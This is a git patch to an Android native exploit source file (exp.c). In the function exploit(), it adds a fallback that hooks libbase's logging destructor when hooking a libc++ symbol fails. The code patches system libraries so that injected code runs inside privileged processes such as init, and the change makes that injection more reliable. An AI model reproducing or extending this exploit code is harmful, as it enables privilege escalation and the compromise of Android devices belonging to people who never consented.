From 3bdd6cb6f2a0f0752333377885295e25d342cf21 Mon Sep 17 00:00:00 2001
From: redzrush101 <109347215+redzrush101@users.noreply.github.com>
Date: Thu, 5 Nov 2026 11:57:01 +0100
Subject: [PATCH] Fall back to libbase when libc++ hook selection fails

---
 app/src/main/jni/exp.c | 16 ++++++++++++----
 1 file changed, 12 insertions(+), 4 deletions(-)

diff --git a/app/src/main/jni/exp.c b/app/src/main/jni/exp.c
index a91c3b16..5194378c 100644
--- a/app/src/main/jni/exp.c
+++ b/app/src/main/jni/exp.c
@@ -543,10 +543,18 @@ static int exploit(void) {
     int rc = 3;
     if (patch_helper()) goto done;
     if (patch_ko()) goto done;
-    if (patch_hook("/system/lib64/libc++.so",
-                   "_ZNSt3__113basic_ostreamIcNS_11char_traitsIcEEE6sentryC1ERS3_",
-                   libcxx_data, libcxx_len, libcxx_start, libcxx_first_inst_copy,
-                   &g_libcxx_r)) goto done;
+    int hook_rc = patch_hook("/system/lib64/libc++.so",
+                             "_ZNSt3__113basic_ostreamIcNS_11char_traitsIcEEE6sentryC1ERS3_",
+                             libcxx_data, libcxx_len, libcxx_start, libcxx_first_inst_copy,
+                             &g_libcxx_r);
+    /* Target selection returns 1 before writing. libbase's logging destructor
+     * also runs when init reaps an orphan, and may have more executable slack. */
+    if (hook_rc == 1)
+        hook_rc = patch_hook("/system/lib64/libbase.so",
+                             "_ZN7android4base10LogMessageD1Ev",
+                             libcxx_data, libcxx_len, libcxx_start, libcxx_first_inst_copy,
+                             &g_libcxx_r);
+    if (hook_rc) goto done;
 
     rc = 2;
     usleep(500000);